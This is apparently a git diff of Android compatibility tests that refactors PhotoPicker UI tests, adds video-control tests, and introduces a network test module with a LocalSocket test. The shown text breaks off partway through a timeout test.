@Ignore("Enable after b/201323670 is fixed") public void testWorkApp_canAccessPersonalProfileContents() throws Exception { final int imageCount = 2; createImages(imageCount, sDeviceState.primaryUser().id(), mUriList); @@ -109,7 +106,7 @@ public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest { @Test @EnsureHasWorkProfile - @Ignore("Enable after b/201323670 is fixed") + @Ignore("Enable after b/216475844 is fixed") public void testPersonalApp_canAccessWorkProfileContents() throws Exception { final int imageCount = 2; createImages(imageCount, sDeviceState.workProfile().id(), mUriList); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java index 9b5904cefde..d02fa42a453 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java @@ -19,11 +19,12 @@ package android.photopicker.cts; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat; import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess; +import static android.photopicker.cts.util.PhotoPickerFilesUtils.createDNGVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages; import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos; import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia; -import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME; +import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT; import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton; import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList; import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddButton; @@ -38,7 +39,6 @@ import android.content.Intent; import android.net.Uri; import android.provider.MediaStore; -import androidx.test.filters.SdkSuppress; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiObject; import androidx.test.uiautomator.UiSelector; @@ -54,7 +54,6 @@ import java.util.List; * Photo Picker Device only tests for common flows. */ @RunWith(AndroidJUnit4.class) -@SdkSuppress(minSdkVersion = 31, codeName = "S") public class PhotoPickerTest extends PhotoPickerBaseTest { private List<Uri> mUriList = new ArrayList<>(); @@ -75,8 +74,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mActivity.startActivityForResult(intent, REQUEST_CODE); final UiObject item = findItemList(itemCount).get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(item); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -96,8 +94,8 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { mDevice.waitForIdle(); final UiObject addButton = findPreviewAddOrSelectButton(); - addButton.click(); - mDevice.waitForIdle(); + assertThat(addButton.waitForExists(1000)).isTrue(); + clickAndWait(addButton); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -137,9 +135,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(imageCount); // Select maxCount + 1 item for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } UiObject snackbarTextView = mDevice.findObject(new UiSelector().text( @@ -150,9 +146,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertWithMessage("Timed out waiting for snackbar to disappear").that( snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue(); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -171,9 +165,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); // Select 1 item - final UiObject item = itemList.get(0); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); final Uri uri = mActivity.getResult().data.getData(); assertPickerUriFormat(uri, mContext.getUserId()); @@ -193,14 +185,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -215,7 +203,7 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { @Test public void testMultiSelect_longPress() throws Exception { final int videoCount = 3; - createVideos(videoCount, mContext.getUserId(), mUriList); + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); @@ -227,27 +215,26 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { assertThat(itemCount).isEqualTo(videoCount); // Select one item from Photo grid - itemList.get(0).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(0)); + // Preview the item UiObject item = itemList.get(1); item.longClick(); mDevice.waitForIdle(); + final UiObject addOrSelectButton = findPreviewAddOrSelectButton(); + assertWithMessage("Timed out waiting for AddOrSelectButton to appear") + .that(addOrSelectButton.waitForExists(1000)).isTrue(); + // Select the item from Preview - final UiObject selectButton = findPreviewAddOrSelectButton(); - selectButton.click(); - mDevice.waitForIdle(); + clickAndWait(addOrSelectButton); mDevice.pressBack(); // Select one more item from Photo grid - itemList.get(2).click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(2)); - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); // Verify that all 3 items are returned final ClipData clipData = mActivity.getResult().data.getClipData(); @@ -273,31 +260,21 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isEqualTo(imageCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject viewSelectedButton = findViewSelectedButton(); - viewSelectedButton.click(); - mDevice.waitForIdle(); + clickAndWait(findViewSelectedButton()); // Swipe left three times - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); - swipeLeft(); - mDevice.waitForIdle(); + swipeLeftAndWait(); + swipeLeftAndWait(); + swipeLeftAndWait(); // Deselect one item - final UiObject selectCheckButton = findPreviewSelectCheckButton(); - selectCheckButton.click(); - mDevice.waitForIdle(); + clickAndWait(findPreviewSelectCheckButton()); - final UiObject addButton = findPreviewAddButton(); - addButton.click(); - mDevice.waitForIdle(); + // Return selected items + clickAndWait(findPreviewAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -310,11 +287,145 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } @Test + public void testMultiSelect_PreviewVideoPlayPause() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 4); + + // Check Play/Pause in first video + testVideoPreviewPlayPause(); + + // Move to second video + swipeLeftAndWait(); + // Check Play/Pause in second video + testVideoPreviewPlayPause(); + + // Move to fourth video + swipeLeftAndWait(); + swipeLeftAndWait(); + // Check Play/Pause in fourth video + testVideoPreviewPlayPause(); + + final UiObject addButton = findPreviewAddButton(); + addButton.click(); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_PreviewVideoMuteButton() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 4); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + final UiObject playerView = findPlayerView(); + + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + + // Test 1: Initial state of the mute Button + // Check that initial state of mute button is `selected`, i.e., volume off + assertThat(muteButton.isSelected()).isTrue(); + + // Test 2: Click Mute Button + // Click to unmute the audio + clickAndWait(muteButton); + // Check that mute button state is `not selected`, i.e., it shows `volume up` icon + assertThat(muteButton.isSelected()).isFalse(); + // Click on the muteButton and check that mute button status is now `selected` + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isTrue(); + + // Test 3: Swipe resumes mute state, with state of mute button = `not selected` + // Click muteButton again to check the next video resumes the previous video's mute state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + // check that next video resumed previous video's mute state + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + // Test 4: Swipe resumes mute state, with state of the button = `selected` + // Click muteButton again to check the next video resumes the previous video's mute state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isTrue(); + // Swipe to next page and check that muteButton is selected + swipeLeftAndWait(); + // set-up and wait for player controls to be sticky + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isTrue(); + + // Test 5: Next preview resumes mute state + // Click muteButton again to check if next Preview launch resumes the muteButton state + clickAndWait(muteButton); + assertThat(muteButton.isSelected()).isFalse(); + // Go back and launch preview again + mDevice.pressBack(); + // set-up and wait for player controls to be sticky + clickAndWait(findViewSelectedButton()); + setUpAndAssertStickyPlayerControls(playerView, playPauseButton, muteButton); + assertThat(muteButton.isSelected()).isFalse(); + + clickAndWait(findPreviewAddButton()); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test + public void testMultiSelect_PreviewVideoControlsVisibility() throws Exception { + launchPreviewMultipleWithVideos(/* videoCount */ 3); + + mDevice.waitForIdle(); + + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + // Check that the player controls are visible + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Check that buttons auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + final UiObject playerView = findPlayerView(); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Wait for 1s and check that controls are still visible + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView and check that controls are no longer visible. Don't click in + // the center, clicking in the center may pause the video. + playerView.clickBottomRight(); + mDevice.waitForIdle(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Swipe left and check that controls are not visible + swipeLeftAndWait(); + assertPlayerControlsHidden(playPauseButton, muteButton); + + // Click on the StyledPlayerView and check that controls appear + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Swipe left to check that controls are now visible on swipe + swipeLeftAndWait(); + assertPlayerControlsVisible(playPauseButton, muteButton); + + // Check that the player controls are auto hidden in 1s + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + final UiObject addButton = findPreviewAddButton(); + addButton.click(); + // We don't test the result of the picker here because the intention of the test is only to + // test the video controls + } + + @Test public void testMimeTypeFilter() throws Exception { final int videoCount = 2; - createVideos(videoCount, mContext.getUserId(), mUriList); + createDNGVideos(videoCount, mContext.getUserId(), mUriList); final int imageCount = 1; createImages(imageCount, mContext.getUserId(), mUriList); + final String mimeType = "video/dng"; final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); @@ -328,14 +439,10 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { final int itemCount = itemList.size(); assertThat(itemCount).isAtLeast(videoCount); for (int i = 0; i < itemCount; i++) { - final UiObject item = itemList.get(i); - item.click(); - mDevice.waitForIdle(); + clickAndWait(itemList.get(i)); } - final UiObject addButton = findAddButton(); - addButton.click(); - mDevice.waitForIdle(); + clickAndWait(findAddButton()); final ClipData clipData = mActivity.getResult().data.getClipData(); final int count = clipData.getItemCount(); @@ -348,6 +455,94 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { } } + private void testVideoPreviewPlayPause() throws Exception { + final UiObject playPauseButton = findPlayPauseButton(); + final UiObject muteButton = findMuteButton(); + + // Wait for buttons to auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + + // Click on StyledPlayerView to make the video controls visible + clickAndWait(findPlayerView()); + + // PlayPause button is now pause button, click the button to pause the video. + clickAndWait(playPauseButton); + + // Wait for 1s and check that play button is not auto hidden + assertPlayerControlsDontAutoHide(playPauseButton, muteButton); + + // PlayPause button is now play button, click the button to play the video. + clickAndWait(playPauseButton); + // Check that pause button auto-hides in 1s. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + } + + private void launchPreviewMultipleWithVideos(int videoCount) throws Exception { + createVideos(videoCount, mContext.getUserId(), mUriList); + final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES); + // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit() + intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100); + intent.setType("video/*"); + mActivity.startActivityForResult(intent, REQUEST_CODE); + + final List<UiObject> itemList = findItemList(videoCount); + final int itemCount = itemList.size(); + + assertThat(itemCount).isEqualTo(videoCount); + + for (int i = 0; i < itemCount; i++) { + clickAndWait(itemList.get(i)); + } + + clickAndWait(findViewSelectedButton()); + + // Wait for playback to start. This is needed in some devices where playback + // buffering -> ready state takes around 10s. + final long playbackStartTimeout = 10000; + (findPreviewVideoImageView()).waitUntilGone(playbackStartTimeout); + } + + private void setUpAndAssertStickyPlayerControls(UiObject playerView, UiObject playPauseButton, + UiObject muteButton) throws Exception { + // Check that buttons auto hide. + assertPlayerControlsAutoHide(playPauseButton, muteButton); + // Click on StyledPlayerView to make the video controls visible + clickAndWait(playerView); + assertPlayerControlsVisible(playPauseButton, muteButton); + } + + private void assertPlayerControlsVisible(UiObject playPauseButton, UiObject muteButton) { + assertVisible(playPauseButton, "Expected play/pause button to be visible"); + assertVisible(muteButton, "Expected mute button to be visible"); + } + + private void assertPlayerControlsHidden(UiObject playPauseButton, UiObject muteButton) { + assertHidden(playPauseButton, "Expected play/pause button to be hidden"); + assertHidden(muteButton, "Expected mute button to be hidden"); + } + + private void assertPlayerControlsAutoHide(UiObject playPauseButton, UiObject muteButton) { + // These buttons should auto hide in 1 second after the video playback start. Since we can't + // identify the video playback start time, we wait for 2 seconds instead. + assertWithMessage("Expected play/pause button to auto hide in 2s") + .that(playPauseButton.waitUntilGone(2000)).isTrue(); + assertHidden(muteButton, "Expected mute button to hide after 2s"); + } + + private void assertPlayerControlsDontAutoHide(UiObject playPauseButton, UiObject muteButton) { + assertWithMessage("Expected play/pause button to not auto hide in 1s") + .that(playPauseButton.waitUntilGone(1100)).isFalse(); + assertVisible(muteButton, "Expected mute button to be still visible after 1s"); + } + + private void assertVisible(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isTrue(); + } + + private void assertHidden(UiObject button, String message) { + assertWithMessage(message).that(button.exists()).isFalse(); + } + private static UiObject findViewSelectedButton() { return new UiObject(new UiSelector().resourceIdMatches( REGEX_PACKAGE_NAME + ":id/button_view_selected")); @@ -358,9 +553,36 @@ public class PhotoPickerTest extends PhotoPickerBaseTest { REGEX_PACKAGE_NAME + ":id/preview_select_check_button")); } - private void swipeLeft() { + + private static UiObject findPlayerView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_player_view")); + } + + private static UiObject findMuteButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_mute")); + } + + private static UiObject findPlayPauseButton() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/exo_play_pause")); + } + + private static UiObject findPreviewVideoImageView() { + return new UiObject(new UiSelector().resourceIdMatches( + REGEX_PACKAGE_NAME + ":id/preview_video_image")); + } + + private void clickAndWait(UiObject uiObject) throws Exception { + uiObject.click(); + mDevice.waitForIdle(); + } + + private void swipeLeftAndWait() { final int width = mDevice.getDisplayWidth(); final int height = mDevice.getDisplayHeight(); - mDevice.swipe(width / 2, height / 2, width / 4, height / 2, 10); + mDevice.swipe(15 * width / 20, height / 2, width / 20, height / 2, 20); + mDevice.waitForIdle(); } } diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java index 020cbe113a9..d9ff84bed99 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerAssertionsUtils.java @@ -17,8 +17,7 @@ package android.photopicker.cts.util; import static android.os.SystemProperties.getBoolean; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_IMAGE; -import static android.provider.MediaStore.Files.FileColumns.MEDIA_TYPE_VIDEO; +import static android.provider.MediaStore.Files.FileColumns; import static com.google.common.truth.Truth.assertThat; import static com.google.common.truth.Truth.assertWithMessage; @@ -32,8 +31,6 @@ import android.media.ExifInterface; import android.net.Uri; import android.os.FileUtils; import android.os.ParcelFileDescriptor; -import android.provider.CloudMediaProviderContract; -import android.provider.MediaStore; import androidx.test.InstrumentationRegistry; @@ -65,17 +62,23 @@ public class PhotoPickerAssertionsUtils { public static void assertRedactedReadOnlyAccess(Uri uri) throws Exception { assertThat(uri).isNotNull(); - final String[] projection = new String[]{MediaStore.Files.FileColumns.TITLE, - MediaStore.Files.FileColumns.MEDIA_TYPE}; + // TODO(b/205291616): Replace FileColumns.MIME_TYPE with PickerMediaColumns.MIME_TYPE + final String[] projection = new String[]{ FileColumns.MIME_TYPE }; final Context context = InstrumentationRegistry.getTargetContext(); final ContentResolver resolver = context.getContentResolver(); - final Cursor c = resolver.query(uri, projection, null, null); - assertThat(c).isNotNull(); - assertThat(c.moveToFirst()).isTrue(); + try (Cursor c = resolver.query(uri, projection, null, null)) { + assertThat(c).isNotNull(); + assertThat(c.moveToFirst()).isTrue(); + + final String mimeType; + if (getBoolean("sys.photopicker.pickerdb.enabled", true)) { + // TODO(b/205291616): Replace FileColumns.MIME_TYPE with + // PickerMediaColumns.MIME_TYPE + mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE)); + } else { + mimeType = c.getString(c.getColumnIndex(FileColumns.MIME_TYPE)); + } - if (getBoolean("sys.photopicker.pickerdb.enabled", true)) { - final String mimeType = c.getString(c.getColumnIndex( - CloudMediaProviderContract.MediaColumns.MIME_TYPE)); if (mimeType.startsWith("image")) { assertImageRedactedReadOnlyAccess(uri, resolver); } else if (mimeType.startsWith("video")) { @@ -83,24 +86,14 @@ public class PhotoPickerAssertionsUtils { } else { fail("The mime type is not as expected: " + mimeType); } - } else { - final int mediaType = c.getInt(1); - switch (mediaType) { - case MEDIA_TYPE_IMAGE: - assertImageRedactedReadOnlyAccess(uri, resolver); - break; - case MEDIA_TYPE_VIDEO: - assertVideoRedactedReadOnlyAccess(uri, resolver); - break; - default: - fail("The media type is not as expected: " + mediaType); - } } } private static void assertVideoRedactedReadOnlyAccess(Uri uri, ContentResolver resolver) throws Exception { // The location is redacted + // TODO(b/201505595): Make this method work for test_video.mp4. Currently it works only for + // test_video_dng.mp4 try (InputStream in = resolver.openInputStream(uri); ByteArrayOutputStream out = new ByteArrayOutputStream()) { FileUtils.copy(in, out); diff --git a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java index 37a44f99915..8103b70f6cd 100644 --- a/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java +++ b/tests/PhotoPicker/src/android/photopicker/cts/util/PhotoPickerFilesUtils.java @@ -49,6 +49,15 @@ public class PhotoPickerFilesUtils { } } + public static void createDNGVideos(int count, int userId, List<Uri> uriList) + throws Exception { + for (int i = 0; i < count; i++) { + final Uri uri = createDNGVideo(userId); + uriList.add(uri); + clearMediaOwner(uri, userId); + } + } + public static void createVideos(int count, int userId, List<Uri> uriList) throws Exception { for (int i = 0; i < count; i++) { @@ -69,8 +78,14 @@ public class PhotoPickerFilesUtils { ShellUtils.runShellCommand(cmd); } + private static Uri createDNGVideo(int userId) throws Exception { + final Uri uri = stageMedia(R.raw.test_video_dng, + MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); + return uri; + } + private static Uri createVideo(int userId) throws Exception { - final Uri uri = stageMedia(R.raw.testvideo_meta, + final Uri uri = stageMedia(R.raw.test_video, MediaStore.Video.Media.EXTERNAL_CONTENT_URI, "video/mp4", userId); return uri; } diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java index d53a952199d..be1c791703d 100644 --- a/tests/app/src/android/app/cts/NotificationManagerTest.java +++ b/tests/app/src/android/app/cts/NotificationManagerTest.java @@ -1859,32 +1859,6 @@ public class NotificationManagerTest extends AndroidTestCase { } } - public void testNotify_blockedChannelGroup() throws Exception { - mNotificationManager.cancelAll(); - - NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name"); - group.setBlocked(true); - mNotificationManager.createNotificationChannelGroup(group); - NotificationChannel channel = - new NotificationChannel(mId, "name", IMPORTANCE_DEFAULT); - channel.setGroup(mId); - mNotificationManager.createNotificationChannel(channel); - - int id = 1; - final Notification notification = - new Notification.Builder(mContext, mId) - .setSmallIcon(R.drawable.black) - .setWhen(System.currentTimeMillis()) - .setContentTitle("notify#" + id) - .setContentText("This is #" + id + "notification ") - .build(); - mNotificationManager.notify(id, notification); - - if (!checkNotificationExistence(id, /*shouldExist=*/ false)) { - fail("found unexpected notification id=" + id); - } - } - public void testCancel() throws Exception { final int id = 9; sendNotification(id, R.drawable.black); diff --git a/tests/net/Android.bp b/tests/net/Android.bp new file mode 100644 index 00000000000..2a4153ac89b --- /dev/null +++ b/tests/net/Android.bp @@ -0,0 +1,24 @@ +// Copyright (C) 2021 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +java_library { + name: "CtsNetTestsNonUpdatableLib", + srcs: ["src/**/*.java"], + static_libs: ["androidx.test.rules"], + platform_apis: true, +} diff --git a/tests/net/OWNERS b/tests/net/OWNERS new file mode 100644 index 00000000000..67e4fc928a1 --- /dev/null +++ b/tests/net/OWNERS @@ -0,0 +1,3 @@ +# Bug component: 31808 +set noparent +file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
\ No newline at end of file diff --git a/tests/net/TEST_MAPPING b/tests/net/TEST_MAPPING new file mode 100644 index 00000000000..a6a02d595fd --- /dev/null +++ b/tests/net/TEST_MAPPING @@ -0,0 +1,7 @@ +{ + "imports": [ + { + "path": "packages/modules/Connectivity" + } + ] +} diff --git a/tests/net/src/android/net/cts/LocalSocketTest.java b/tests/net/src/android/net/cts/LocalSocketTest.java new file mode 100644 index 00000000000..969f7060913 --- /dev/null +++ b/tests/net/src/android/net/cts/LocalSocketTest.java @@ -0,0 +1,471 @@ +/* + * Copyright (C) 2008 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.net.cts; + +import android.net.Credentials; +import android.net.LocalServerSocket; +import android.net.LocalSocket; +import android.net.LocalSocketAddress; +import android.os.ParcelFileDescriptor; +import android.system.Os; +import android.system.OsConstants; + +import junit.framework.TestCase; + +import java.io.FileDescriptor; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class LocalSocketTest extends TestCase { + private final static String ADDRESS_PREFIX = "com.android.net.LocalSocketTest"; + + public void testLocalConnections() throws IOException { + String address = ADDRESS_PREFIX + "_testLocalConnections"; + // create client and server socket + LocalServerSocket localServerSocket = new LocalServerSocket(address); + LocalSocket clientSocket = new LocalSocket(); + + // establish connection between client and server + LocalSocketAddress locSockAddr = new LocalSocketAddress(address); + assertFalse(clientSocket.isConnected()); + clientSocket.connect(locSockAddr); + assertTrue(clientSocket.isConnected()); + + LocalSocket serverSocket = localServerSocket.accept(); + assertTrue(serverSocket.isConnected()); + assertTrue(serverSocket.isBound()); + try { + serverSocket.bind(localServerSocket.getLocalSocketAddress()); + fail("Cannot bind a LocalSocket from accept()"); + } catch (IOException expected) { + } + try { + serverSocket.connect(locSockAddr); + fail("Cannot connect a LocalSocket from accept()"); + } catch (IOException expected) { + } + + Credentials credent = clientSocket.getPeerCredentials(); + assertTrue(0 != credent.getPid()); + + // send data from client to server + OutputStream clientOutStream = clientSocket.getOutputStream(); + clientOutStream.write(12); + InputStream serverInStream = serverSocket.getInputStream(); + assertEquals(12, serverInStream.read()); + + //send data from server to client + OutputStream serverOutStream = serverSocket.getOutputStream(); + serverOutStream.write(3); + InputStream clientInStream = clientSocket.getInputStream(); + assertEquals(3, clientInStream.read()); + + // Test sending and receiving file descriptors + clientSocket.setFileDescriptorsForSend(new FileDescriptor[]{FileDescriptor.in}); + clientOutStream.write(32); + assertEquals(32, serverInStream.read()); + + FileDescriptor[] out = serverSocket.getAncillaryFileDescriptors(); + assertEquals(1, out.length); + FileDescriptor fd = clientSocket.getFileDescriptor(); + assertTrue(fd.valid()); + + //shutdown input stream of client + clientSocket.shutdownInput(); + assertEquals(-1, clientInStream.read()); + + //shutdown output stream of client + clientSocket.shutdownOutput(); + try { + clientOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //shutdown input stream of server + serverSocket.shutdownInput(); + assertEquals(-1, serverInStream.read()); + + //shutdown output stream of server + serverSocket.shutdownOutput(); + try { + serverOutStream.write(10); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close client socket + clientSocket.close(); + try { + clientInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + + //close server socket + serverSocket.close(); + try { + serverInStream.read(); + fail("testLocalSocket shouldn't come to here"); + } catch (IOException e) { + // expected + } + } + + public void testAccessors() throws IOException { + String address = ADDRESS_PREFIX + "_testAccessors"; + LocalSocket socket = new LocalSocket(); + LocalSocketAddress addr = new LocalSocketAddress(address); + + assertFalse(socket.isBound()); + socket.bind(addr); + assertTrue(socket.isBound()); + assertEquals(addr, socket.getLocalSocketAddress()); + + String str = socket.toString(); + assertTrue(str.contains("impl:android.net.LocalSocketImpl")); + + socket.setReceiveBufferSize(1999); + assertEquals(1999 << 1, socket.getReceiveBufferSize()); + + socket.setSendBufferSize(3998); + assertEquals(3998 << 1, socket.getSendBufferSize()); + + assertEquals(0, socket.getSoTimeout()); + socket.setSoTimeout(1996); + assertTrue(socket.getSoTimeout() > 0); + + try { + socket.getRemoteSocketAddress(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isClosed(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isInputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.isOutputShutdown(); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + try { + socket.connect(addr, 2005); + fail("testLocalSocketSecondary shouldn't come to here"); + } catch (UnsupportedOperationException e) { + // expected + } + + socket.close(); + } + + // http://b/31205169 + public void testSetSoTimeout_readTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_readTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Avoid blocking the test run if timeout doesn't happen by using a separate thread. + Callable<Result> reader = () -> { + try { + clientSocket.getInputStream().read(); + return Result.noException("Did not block"); + } catch (IOException e) { + return Result.exception(e); + } + }; + // Allow the configured timeout, plus some slop. + int allowedTime = timeoutMillis + 2000; + Result result = runInSeparateThread(allowedTime, reader); + + // Check the message was a timeout, it's all we have to go on. + String expectedMessage = Os.strerror(OsConstants.EAGAIN); + result.assertThrewIOException(expectedMessage); + } + } + + // http://b/31205169 + public void testSetSoTimeout_writeTimeout() throws Exception { + String address = ADDRESS_PREFIX + "_testSetSoTimeout_writeTimeout"; + + try (LocalSocketPair socketPair = LocalSocketPair.createConnectedSocketPair(address)) { + final LocalSocket clientSocket = socketPair.clientSocket; + + // Set the timeout in millis. + int timeoutMillis = 1000; + clientSocket.setSoTimeout(timeoutMillis); + + // Set a small buffer size so we know we can flood it. + 